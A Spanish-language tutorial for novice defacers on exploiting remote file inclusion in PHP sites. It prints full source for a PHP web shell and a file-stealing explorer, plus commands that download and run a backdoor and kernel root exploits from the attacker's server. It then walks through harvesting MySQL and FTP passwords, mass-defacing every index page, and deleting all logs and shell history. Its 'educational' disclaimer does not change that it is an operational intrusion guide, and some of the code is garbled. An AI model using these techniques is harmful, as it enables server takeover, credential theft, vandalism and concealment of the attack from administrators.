

REMOTE FILE INCLUSION PARA NOVATOS

Prologo

Este paper esta dirigido a usuarios novatos, es una recopilación de algunas de las técnicas más usadas por defacers. Toda esta información es con fines educativos, y espero que no hagas mal uso de ella con gente que no se lo merece. Solamente puedes usar estos conocimientos en servidores que alojen contenido ilegal (pornografía infantil, xenofobia, racismo, etc).

Teoría

Esta vulnerabilidad permite incluir archivos remotos, la mayoría de estas vulnerabilidades se encuentran en códigos como:

```
<?
include"$page";
?>
```

Para que nos sirve esto?? Suponiendo que podemos incluir cualquier archivo, y porque no uno con la función exec, system o passthru?

Nota: solo van a correr estos comandos los servidores tengan el safe mode en off.

Entonces codeamos algo así:

```
<?php
$cmd=$_GET['cmd'];
show_source($cmd);
?>
```

Y lo subimos a nuestro Server, este seria explotado de esta manera:

[http://victima.com/pagvuln.php?page=http://\[tusitio\]/file-a-incluir](http://victima.com/pagvuln.php?page=http://[tusitio]/file-a-incluir)

Estas funciones permiten correr comandos en el sistema. Ya sabiendo usarlas podemos ponerle una extensión .gif y subirlas a nuestro webserver para incluirlas en la victima desde ahí. Se las renombra a .gif, ya que si las dejáramos en php se ejecutarían en nuestro server.

Buscando webs vulnerables

Si bien explotar este bug no es muy complicado, puede ser tedioso comprobar variable por variable si se puede hacer una inclusión.

Para esto existe una muy buena utilidad llamada:

RPVS , Remote Php Vulnerability Scanner

[rpvs.exe http://www.sitio.com/ \[-bf\] \[-f\] \[-v\] \[-aff\] \[-rapport\]](#)

-bf: fuerza bruta a las variables

-f: modo rápido

-aff: filtro anti-foro

-v: explicación detallada de todo lo que pasa

-sessid=VARNAME: Es para las webs en que tenés que estar registrado para acceder a ciertas paginas, sustituí "varname" por el hash que esta en la cookie que te dejo esa web cuando te logeaste.

-rapport: guarda los resultados en rapport.txt en el directorio donde esta el rpvs.

Ejecutores de comandos

Los ejecutores de comandos o "shells en php" son líneas de código que permiten ejecutar comandos más fácil, se usan así:

[http://victima.com/pagvuln.php?page=http://\[tusitio\]/shell.php?cmd=ls](http://victima.com/pagvuln.php?page=http://[tusitio]/shell.php?cmd=ls)

Esto listaría los ficheros del directorio en que se encuentra pag.php.

A continuación, el código de un ejecutor de comandos:

```
//aca empieza
<?php
@closelog();
@error_reporting(0);
$vers="1.6beta";
$remote_addr="http://127.0.0.1/~snagnever/defacement/paginanova/";//url
$format_addr=".txt";//formato
$string_addr=$remote_addr."pro16".$format_addr;//cmd
$safe_addr=$remote_addr."safe16".$format_addr;//safemode
$writer_addr=$remote_addr."writer16".$format_addr;//writer
$phpget_addr=$remote_addr."get16".$format_addr;//phpget
$feditor_addr=$remote_addr."feditor".$format_addr;//main feditor
$put_addr=$remote_addr."feditor_put".$format_addr;//file writer
$total_addr="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$chdir=$_GET['chdir'];
if($chdir=="")$chdir=getcwd();

$cmd=$_GET['cmd'];
$cmd=stripslashes($cmd);
$ch_msg="";
$login=@posix_getuid();
$euid=@posix_geteuid();
$gid=@posix_getgid();

if (strpos($cmd, 'chdir')!==false and strpos($cmd, 'chdir')=='0'){
    $boom = explode(" ", $cmd, 2);
    $boom2 = explode(";", $boom[1], 2);
    $diretorio = $boom2[0];

    if($boom[1]=="")$chdir="";
    else if(strpos($cmd, 'chdir ..')!==false){
        $cadaDir = array_reverse(explode("/", $chdir));
        if($cadaDir[0]=="" or $cadaDir[0] == " ") $lastDir = $cadaDir[1]."/";
        else{ $lastDir = $cadaDir[0]."/"; $chdir = $chdir."/";}
        $diretorio = str_replace($lastDir, "", $chdir);
        if($diretorio=="")$chdir="";
    }
    if(strrpos($diretorio, "/")==(strlen($diretorio)-1))
$diretorio=substr($diretorio,0,strrpos($diretorio, "/"));
    if(@opendir($diretorio)!==false) $chdir=$diretorio;
    else if(@opendir($chdir."/".$diretorio)!==false) $chdir=$chdir."/".$diretorio;
    else $ch_msg="dtool: line 1: chdir: $diretorio: No such directory or permission denied.\n";
    if($boom2[1]==null) $cmd = $boom[2]; else $cmd = $boom2[1].$boom2[2];
}
$cmdshow=$cmd;
if($chdir==getcwd() or empty($chdir) or $chdir=="")$showdir="";else
$showdir="+chdir=$chdir&";

if (@is_dir("/usr/X11R6/")) $pro0="<i>X11</i> em /usr/X11R6/ ";
if (@file_exists("/usr/X11R6/bin/xterm")) $pro1="<i>xterm</i> em /usr/X11R6/bin/xterm, ";
if (@file_exists("/usr/bin/nc")) $pro2="<i>nc</i> em /usr/bin/nc, ";
if (@file_exists("/usr/bin/wget")) $pro3="<i>wget</i> em /usr/bin/wget, ";
if (@file_exists("/usr/bin/lynx")) $pro4="<i>lynx</i> em /usr/bin/lynx, ";
$ip=@gethostbyname($_SERVER['HTTP_HOST']);
$pro=$pro0.$pro1.$pro2.$pro3.$pro4;

if(strpos($cmd, 'ls --') !==false){ $cmd = str_replace('ls --', 'ls -F --', $cmd);}
else if(strpos($cmd, 'ls -') !==false){ $cmd = str_replace('ls -', 'ls -F', $cmd);}
else if(strpos($cmd, ';ls') !==false){ $cmd = str_replace(';ls', ';ls -F', $cmd);}
else if(strpos($cmd, '; ls') !==false){ $cmd = str_replace('; ls', ';ls -F', $cmd);}
else if($cmd=='ls'){ $cmd = "ls -F";}
if(strpos($chdir, '/') !==false) $chdir = str_replace('/', '/', $chdir);
?>
<body
onload="window.document.c.comando.focus();window.document.c.comando.select();">
```

```
<style>.campo{font-family: Verdana;
color:white;font-size:11px;background-color:#414978;}
.infop{font-family: verdana; font-size: 10px; color:#000000;}
.infod{font-family: verdana; font-size: 10px; color:#414978;}
.algod{font-family: verdana; font-size: 12px; font-weight: bold; color: #414978;}
.titulos{font:Verdana; color:#414978; font-size:20px;}</style>
<script>
function inclVar(){var addr = location.href.substring(0,location.href.indexOf('?')+1);var stri
= location.href.substring(addr.length,location.href.length+1);inclvar =
stri.substring(0,stri.indexOf('='));}
function
enviaCMD(){inclVar();window.document.location.href='<?=$total_addr;?>'+'?' +inclvar+'='
+'<?=$string_addr;?>'+'?'&'<?=$showdir;?>'+'cmd='+window.document.c.comando.value;re
turn false;}
function PHPget(){inclVar();var c=prompt("[ PHPget ] by r3v3ng4ns\nDigite a ORIGEM
do arquivo (url) com ate 7Mb\n-Utilize caminho completo\n-Se for remoto, use http:// ou
ftp://:", "");var dir = c.substring(0,c.lastIndexOf('/')+1);var file =
c.substring(dir.length,c.length+1);var p=prompt("[ PHPget ] by r3v3ng4ns\nDigite o
DESTINO do arquivo\n-Utilize caminho completo\n-O diretorio de destino deve ser
writable", "<?=$chdir;?>/'"+file);window.open('<?=$total_addr;?>'+'?' +inclvar+'='+'<?=$php
get_addr;?>'+'?'&'+'inclvar='+'inclvar'&'<?=$showdir;?>'+'c='+'c'&'p='+'p');}
function PHPwriter(){inclVar();var url=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite a
URL do frame", "http://www.geocities.com/revensite/index.htm");var dir =
url.substring(0,url.lastIndexOf('/')+1);var file = url.substring(dir.length,url.length+1);var
f=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite o Nome do arquivo a ser criado\n-Utilize
caminho completo\n-O diretorio de destino deve ser writable", "<?=$chdir;?>/'"+file);
t=prompt("[ PHPwriter ] by r3v3ng4ns\nDigite o Title da pagina", "[ r00ted team ] owned
you
:P");window.open('<?=$total_addr;?>'+'?' +inclvar+'='+'<?=$writer_addr;?>'+'?'&'+'inclvar='
+'inclvar'&'<?=$showdir;?>'+'url='+'url'&'f='+'f'&'t='+'t');}
function resumir() {inclVar();
resumo='<DIV STYLE="font-family: verdana; font-size: 11px;"><b>
<?=$total_addr;?>'+'?' +inclvar+'='<?=$string_addr;?></b><br><?php
$uname = posix_uname();
while (list($info, $value) = each ($uname)) { ?><b><?=$info ?>:</b> <?=$value
?><br><?php } ?><b>default user:</b> uid(<?=$login ?>) euid(<?=$euid ?>) gid(<?=$
gid ?>)<br><b>ip: </b> <?=$ip;?><br><b>server info:
</b><?=$SERVER_SOFTWARE $SERVER_VERSION";?><br><b>pro info:
</b><?=$pro;?><br><b>path da pagina: </b><?=$getcwd() ?><br><b>path
writable:</b><?=$if(@is_writable(getcwd())){ echo " <b>YES</b>"; }else{ echo " no"; } ?>
jan=open("", "jan", "width=580,height=300,menubar=yes,scrollbars=yes,resizable=yes,");jan.
document.write(resumo);jan.document.write("<p> <?=$echo str_repeat('==",
35)?></p>");jan.document.title="Resumo do servidor";jan.focus();}
function PHPf(){inclVar();var o=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome
do arquivo que deseja abrir\n-Utilize caminho completo\n-Abrir arquivos remotos, use
http:// ou ftp://", "<?=$chdir;?>/index.php"); var dir = o.substring(0,o.lastIndexOf('/')+1);var
file =
o.substring(dir.length,o.length+1);window.open('<?=$total_addr;?>'+'?' +inclvar+'='<?=$fedito
r_addr;?>'&'inclvar='+'inclvar'&'o='+'o');}
function safeMode(){inclVar();if (confirm ('Deseja ativar o DTool com suporte a
SafeMode?')){window.document.location.href='<?=$total_addr;?>'+'?' +inclvar+'='+'<?=$sa
fe_addr;?>'+'?'&'<?=$showdir;?>};else{ return false }}
</script>
<table width="690" border="0" align="center" cellpadding="2" cellspacing="0"
bgcolor="#FFFFFF">
<tr><td><div align="center" class="titulos"><b>[ Defacing Tool Pro v<?=$vers;?> ] <a
href="javascript:window.open('<?=$remote_addr;?>help.txt');">?</a><br>
<font size=2>by r3v3ng4ns - revengans@hotmail.com </font>
</b></div></td></tr>
<tr><td><TABLE width="370" BORDER="0" align="center" CELLPADDING="0"
CELLSPACING="0">
<?php
$uname = @posix_uname();
while (list($info, $value) = each ($uname)) { ?>
<TR><TD><DIV class="infop"><b><?=$info ?>:</b>
<?=$value;?></DIV></TD></TR><?php } ?>
<TR><TD><DIV class="infop"><b>user:</b> uid(<?=$login;?>) euid(<?=$euid;?>)
gid(<?=$gid;?>)</DIV></TD></TR>
```

```
<TR><TD><DIV class="infod"><b>write permission:</b><? if(@is_writable($chdir)){
echo " <b>YES</b>"; }else{ echo " no"; } ?></DIV></TD></TR>
<TR><TD><DIV class="infop"><b>server info: </b><?="$SERVER_SOFTWARE
$SERVER_VERSION";?></DIV></TD></TR>
<TR><TD><DIV class="infop"><b>pro info: ip </b><?="$ip,
$pro";?></DIV></TD></TR>
<? if($chdir!=getcwd()){?>
<TR><TD><DIV class="infop"><b>original path: </b><?=getcwd()
?></DIV></TD></TR><? } ?>
<TR><TD><DIV class="infod"><b>current path: </b><?=$chdir ?>
</DIV></TD></TR></TABLE></td></tr>
<tr><td><form name="c" id="c" method="post" action="#" onSubmit="return
enviaCMD()">
<table width="375" border="1" align="center" cellpadding="0" cellspacing="0"
bordercolor="#414978"><tr><td><table width="370" border="0" align="center"
cellpadding="1" cellspacing="1" bgcolor="white"><tr>
<td width="75"><DIV class="algod">command</DIV></td>
<td width="300"><input name="comando" type="text" id="comando"
value='<?=$cmdshow;?>' style="width:295; font-size:12px" class="campo">
</td></tr></table><table><tr><td>
<?php
if(isset($chdir)) @chdir($chdir);
ob_start();
function safemode($what){echo "It seems that this server is using php in safemode. Try to
use DTool in Safemode.";}
$funE="function_exists";
if($funE('passthru'))$fe="passthru";
elseif($funE('system'))$fe="system";
elseif($funE('shell_exec'))$fe="shell_exec";
else $fe="safemode";
$fe("$cmd 2>&1");
$output=ob_get_contents();ob_end_clean();
?>
<td><input type="button" name="snd" value="snd cmd" class="campo"
onClick="enviaCMD()"><input type="button" name="getBtn" value="PHPget"
class="campo" onClick="PHPget()"><input type="button" name="writerBtn"
value="PHPwriter" class="campo" onClick="PHPwriter()"><input type="button"
name="edBtn" value="Fileeditor" class="campo" onClick="PHPf()"><input type="button"
name="resBtn" value="resumir" class="campo" onClick="resumir()"><input type="button"
name="smBtn" value="safemode" class="campo" onClick="safeMode()"><input
type="button" name="gsBtn" value="open shell" class="campo"
onClick="inclVar();window.open('<?=$total_addr;?>'+?'+inclvar+='+'<?=$remote_addr;?>
pro16s.txt');"
</tr></table></td></tr></table></form></td></tr>
<tr><td align="center"><DIV class="algod"><br>stdOut from <?="\<i>$cmdshow</i>\",
using <i>$fe(</i>";?></i></DIV>
<TEXTAREA name="output_text" COLS="90" ROWS="10"
STYLE="font-family:Courier; font-size: 12px; color:#FFFFFF; font-size:11 px;
background-color:black;width:683;">
<?php
echo $ch_msg;
if (empty($cmd) and $ch_msg=="") echo ("Comandos Exclusivos do DTool Pro\n\nchdir
<diretorio>; outros; cmds;\nMuda o diretorio para aquele especificado e permanece nele.
Precisa ser o primeiro da linha. ex: chdir /diretorio/sub;/pwd;ls\n\nPHPget, PHPwriter,
PHPfileEditor e Resumir\nconsulte http://www.geocities.com/revensite/help.txt");
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?></TEXTAREA><BR></td></tr></table>

//aca termina
```

Comandos utiles:

tar -cf backup.tar directorio --->

Respaldar un directorio

CD ---> Comando que nos permite saltar de un directorio a otro

LS ---> Comando que nos permitira obtener un listado de los archivos del directorio

CAT ---> Sirve para visualizar la estructura y codigo de un archivo

WGET URL ---> Comando para tranferir (subir) archivos

curl -O url ---> Comando para tranferir (subir) archivos -opcion 2-

RM archivo--- Sirve para eliminar archivos

MKDIR directorio ---> Con esto creamos un directorio

TOUCH ---> Creamos un archivo

CP ---> Copiar

./archivo ---> Ejecutar

Como muchos de ustedes saben existen servidores que, por medidas deseguridad, tienen las funciones exec, system y passthru deshabilitadas. Debido a esto no podremos ejecutar comandos de shell, sin embargo, no esta todo perdido. Existen funciones como "show_source('archivo'); la cual nos permite ver el contenido de un fichero. A su vez, hay otras funciones capaces de listarnos el contenido de un directorio. Entonces, aún si no podemos ejecutar nuestra shell en PHP, si podremos a lo menos ver el contenido de las configuraciones y ver todos los archivos alojados en dicha web.

Como ejemplo simple, podríamos crear un archivo con el siguiente código, el cual nos permitiría ver el contenido de un archivo config.php:

```
<?
show_source('config.php');
?>
```

Algo muy bueno en estas funciones, es que no necesitamos que el servidor este corriendo bajo Linux, debido a esto, nos va a servir para poder intrusear tanto servidores bajo Linux en los cuales no funcionen nuestras shells como en servidores que corren bajo Windows.

Codebreak ha creado una utilidad (cbreak.php) que permite aprovechar todo esto y mediante la cual podremos ir explorando y recopilando datos de todos los rincones del servidor, a continuacion el codigo:

```
//aca empieza
```

```
<?
```

```
/*
```

Copyright dec. 2004 - CODEBREAK (codebreak@walla.com)

Esta utilidad sirve para hacer una intrusión en servidores. Es muy útil Cuando se trata de servidores bajo Windows, Linux con passthru, system o exec desactivado. Muy útil en caso de RFI, o simplemente para explorar el servidor al lograr subir este PHP.

El diseño es simple, puede tener bugs y la exploración via enlace se va acumulando, funciona igual y no quize hacerlo mas complejo.

Notas:

- Si cambias el nombre de este archivo (cbreak.php) no va a funcionar.
- Al explorar directorios via enlace, puede reconocer como archivos

aquellos directorios con punto. En este caso, explora via manual (como explica en el index)

Cualquier modificación, porfavor hacerla con una referencia al autor original. Si quieres publicar una modificación, porfavor compartela mandandomela al e-mail antes indicado. XD

www.codebreak1984.tk

 $\ast/$

```
// Porsiaca el servidor se pone reclamon con uso de variables externas...
```

```
$mode = $_GET['mode'];  
$cat = $_GET['cat'];  
$dir = $_GET['dir'];
```

```
// Index Inicial: sin opción seleccionada
```

[illegible]

```

p>";
echo"<center>";
echo"<p>&nbsp;</p>";
echo"<p><BR><b><font face=Courier New size=1 color=#C0C0C0>Creado por
codebreak<br>codebreak@walla.com<br><br>www.codebreak1984.tk</font></b></p>
";
echo"</center>";
}
elseif($mode=="steal")
{

// Modo 1: Robar codigo

echo "<html>";
echo "<head>";
echo "<title>Cat command -By Codebreak-</title>";
echo "</head>";
echo "<body>";

// Si no indicamos archivos, probar el concepto mostrando el codigo de esta aplicación

if($cat=="")
{
$cat="cbreak.php";
}

$size=filesize($cat);
$file_size = round($size / 1024 * 100) / 100 . "Kb";
echo"<body bgcolor=#000000><center><font color=#FF0000 face=Fixedsys
size=2>V</font><font color=#FFFFFF face=Fixedsys size=2>iendo <B>$cat</B> -
</font><font color=#FF0000 face=Fixedsys size=2>T</font><font color=#FFFFFF
face=Fixedsys size=2>amaño: <B>$file_size</B></font><table width=94% border=2
bordercolor=#AFC6DB cellpadding=0 bgcolor=#FFFFFF style=border-collapse:
collapse cellpadding=0><tr><td>";
$po=show_source($cat);
echo "</td></tr></table><BR><b><font face=Courier New size=1
color=#C0C0C0>Creado por
codebreak<br>codebreak@walla.com<br><br>www.codebreak1984.tk</font></b></cen
ter>";
echo "</body></html>";
}
elseif($mode=="list")
{

// Modo 2: Explorar Directorios

echo"<title>Directory Listing -By Codebreak-</title>";
$base =
substr($_SERVER['PATH_TRANSLATED'],0,strpos($_SERVER['PATH_TRANSLA
TED'],'/'));

// Mostrar contenido de directorio inicial

if($dir=="")
{
$dir="./";
}
$path = $dir;

// Funcion simple reconocer archivos (php.net)

function after ($this, $inthat)
{
    if (!is_bool(strpos($inthat, $this)))
        return substr($inthat, strpos($inthat,$this)+strlen($this));
}

echo "<body bgcolor=#000000><center><font face=Fixedsys size=2

```

```
color=#FF0000>E</font><font face=Fixedsys size=2 color=#FFFFFF>jecutando
</font><font face=Fixedsys size=2 color=#FF0000>e</font><font face=Fixedsys size=2
color=#FFFFFF>n: <B>$base<br></B></font><font face=Fixedsys size=2
color=#FF0000>V</font><font face=Fixedsys size=2 color=#FFFFFF>iendo
</font><font face=Fixedsys size=2 color=#FF0000>D</font><font face=Fixedsys
size=2 color=#FFFFFF>irectorio:<B>$dir</B></font><table width=94% border=2
bordercolor=#AFC6DB cellpadding=0 bgcolor=#FFFFFF style=border-collapse:
collapse cellpadding=0><tr><td>";
$dir_handle = @opendir($path) or die("No se pudo abrir $path");
while (false != ($file = readdir($dir_handle))) {
$link = "<a target=_blank href=cbreak.php?mode=steal&cat=$dir/$file><font
color=#000080>$file</font></a><br>";
$formato = after('.', $file);

// Reconocer posición de retroceder

If($formato==".") {
$link = "<i><a href=cbreak.php?mode=list&dir=$dir/$file>retroceder..</a><br></i>";
}

// Muy simple: Sin formato, debe ser directorio (aquí error en directorios con puntos)

If($formato=="") {
$link = "<a href=cbreak.php?mode=list&dir=$dir/$file><font
color=#800000>$file</font></a><br>";
}

// Mostrar directorio, archivo o retroceder (con colores, claro, para no confundir XD)

echo "$link";
}
closedir($dir_handle);
echo "</td></tr></table><BR><b><font face=Courier New size=1
color=#C0C0C0>Creado por
codebreak<br>codebreak@walla.com<br><br>www.codebreak1984.tk</font></b></cen
ter>";
}
?>
//acá termina
```

Tips:

***Ver el user y password mysql:** tenes que mirar el config.php, corré que correr el comando cat, que muestra el contenido de un archivo, sería - cat config.php

Apoderándonos del Server

Existe un backdoor muy bueno, aunque por desgracia bastante conocido, llamado r0nin, para ejecutarlo vamos a hacer lo siguiente:

* Subimos el backdoor a nuestro sitio

* Desde el ejecutor de comandos corremos todo este comando:

```
cd /tmp/wget http://[tusitio]/r0nin;chmod 777 r0nin;./r0nin
```

Explicación:

- cd /tmp/ va al directorio tmp donde tenemos permisos de ejecución

- wget http://[tusitio]/r0nin descarga el backdoor desde tu sitio al directorio en donde estas

- chmod 777 r0nin : cambia los permisos del archivos para que cualquiera pueda leerlo/escribirlo/ejecutarlo

- ./r0nin lo ejecuta.

Si todo salio bien va a decir algo como "psichofobia backdor started on port 1666"

Ahora lo que queda es abrir hacer telnet al server, asi que abrimos el putty, ponemos la ip del server puerto 1666, tildamos telnet y conectamos. Que tengamos esa shell todavía no significa nada, recuerden que tenemos privilegios de nobody, aunque hay algunas cosas para hacer:

Ver los sitios alojados en el server: Bueno el httpd.conf es un archivo el cual contiene la configuración del servidor, como datos FTP,

configuración DNS, Dominios Alojados ;), este archivo generalmente lo encontramos en el directorio:

```
/etc/httpd/conf/httpd.conf
```

Pero puede estar en:

```
/etc/httpd/conf/httpd.conf
```

```
/etc/apache/httpd.conf
```

```
/usr/local/apache/conf/httpd.conf
```

```
/home/admin/httpd.conf
```

```
/var/www/httpd.conf
```

Si no lo encontramos podemos buscarlo haciendo `find / -name httpd.conf`

con abrir el archivo no basta ya que si lo abrimos nos saldrán infinidad de datos que no nos sirven por lo cual le pediremos al archivo que nos muestre solo los sitios web que aloja el servidor de la siguiente manera:

```
cat /etc/httpd/conf/httpd.conf | grep ServerName
```

Y ahí mostrara una linda lista de sitios

Otra forma es ver los ficheros `userdomains` y `trueuserdomains` que pueden encontrarse en el directorio `etc`, estos dos archivos se encuentran en servidores donde esta instalado el c-panel, así que no desesperen si no los encuentran.

Con la shell con permisos de nobody y la lista de usuarios con sus respectivos dominios, ahora pueden **ir a la caza de passwords de mysql**, que bastante seguido son los mismos que los del ftp. Esto se hace yendo directamente al directorio donde se encuentra cada web por ejemplo tenemos:

```
manolo      manolo.com.ar
```

Entonces:

```
cd home/manolo/public_html/
```

```
ls <--- miramos si hay algún config u otra cosa interesante
```

```
cat config.php
```

Cuando tenemos el pass de mysql probamos si es el del mismo del ftp (o del c-panel en caso que tenga), el user en este caso seria "manolo".

Tambien podemos editar la base de datos, debemos conseguir algun cliente SQL, y nos conectamos a la db poniendo ip, user y pass. Si por alguna razon el puerto esta cerrado o no conecta, podemos buscar por algun lado el phpmyadmin y logearnos desde ahi.

Y esta es una de las pocas cosas que podemos hacer con estos pocos privilegios, mirar por todos lados, nada de editar, ni borrar archivos.

Consiguiendo privilegios de ROOT

Intentare **usar exploits de elevación de privilegios:**

en el ejecutor de comandos escribimos esto para saber la version del kernel:

```
uname -a
```

Cuando sabemos la version del kernel nos fijamos que eep usar en la tablita que armé a continuación:

```
w00t 2.4.x / 2.6.x
```

```
krad 2.6 a 2.6.11
```

```
fault 2.6.11
```

```
cd /tmp
```

```
wget http://[tusitio]/w00t
```

```
chmod 777 w00t
```

Despues lo ejecutamos en el putty (la shell que conseguimos con el backdoor) vamos a /tmp y escribimos:

```
./w00t
```

Y si todo salio bien, cuando escribamos:

```
whoami
```

La respuesta va a ser root

Aclaración: existe mas de un eep para cada version del kernel, a veces por razones misteriosas no funcionan, busquen en google y usen otro si esto les pasa. lo vamos a hacer de la misma forma que antes, con el ejecutor de comandos,

Bueno, ya sos root, ahora el servidor esta a tu merced. y ahora viene la parte mas linda, escribí:

echo "hola, yo hackee tu server y no rompí nada, agrégame al mi msn: E-MAIL, que te explico como hice así lo solucionas, atentamente NICK" > leeme-admin.txt

En tu texto tenés que cambiar "NICK" por tu verdadero nick y "E-MAIL" por tu verdadero e-mail. :p

Aunque si el servidor contenía pornografía infantil, venta de estupefacientes u otras cosas ilegales podés darte el lujo de defacearlo!!

Hacer un mass defacement

Ya con privilegios de root esto es tarea fácil:
crea un html y subilo a tu sitio

```
cd /tmp  
wget http://[tusitio]/xx.htm  
find / -name "index.*" -exec cp /tmp/xx.htm {} \;
```

El último comando básicamente dice:

"encuentra los archivos que empiecen con indexa sin importar su extensión y posteriormente copia mi archivo xx.htm que esta en el directorio tmp al lugar donde están esos archivos"

y para saber si ya termino solo hay que esperar a que nos vuelva a salir sh-2.05# y eso indicara que ya ha terminado,
si salen algunos errores NO LES HAGAS CASO, ya que es normal que a veces no pueda escribir sobre todos los index, y bueno si quieres comprobar que lo haga bien pues ve checando las webs que hospeda y poco a poco las veras con tu index :)

Borrando logs

Empieza por encontrar todo lo que parezca log:

```
find / -name "*.log" -exec rm -rf {} \;
```

Después los archivos bash_history y bash_logout

```
cd /;rm .bash_history  
cd /;rm .bash_logout
```

Y por ultimo si no encontró esos archivos o no los pudo borrar simplemente

resetearemos o desajustaremos el archivo que guarde el historial :)

```
unset HISTFILE
```

Herramientas usadas en este paper

Ejecutores de comandos

cbreak.php (php code para visualizar archivos de server)

r0nin (backdoor)

w00t, PtRace-Kmod y Fault (exploits de elevación de privilegios)

Putty (cliente telnet)

RPVS (scanner xss, sql injections, y rfi's)

Fin :P

Remote File Inclusion para NOVATOS

by N3cr0

Contacto lord.necro@gmail.com

- No modificar sin consentimiento del autor -

**- El autor no se hace responsable del mal uso de este material
los contenidos aqui expuestos son meramente educativos y
cualquier uso indebido correrá bajo tu responsabilidad -**

Agradecimientos:

Subchico

BlankDemon

Mr Dialup
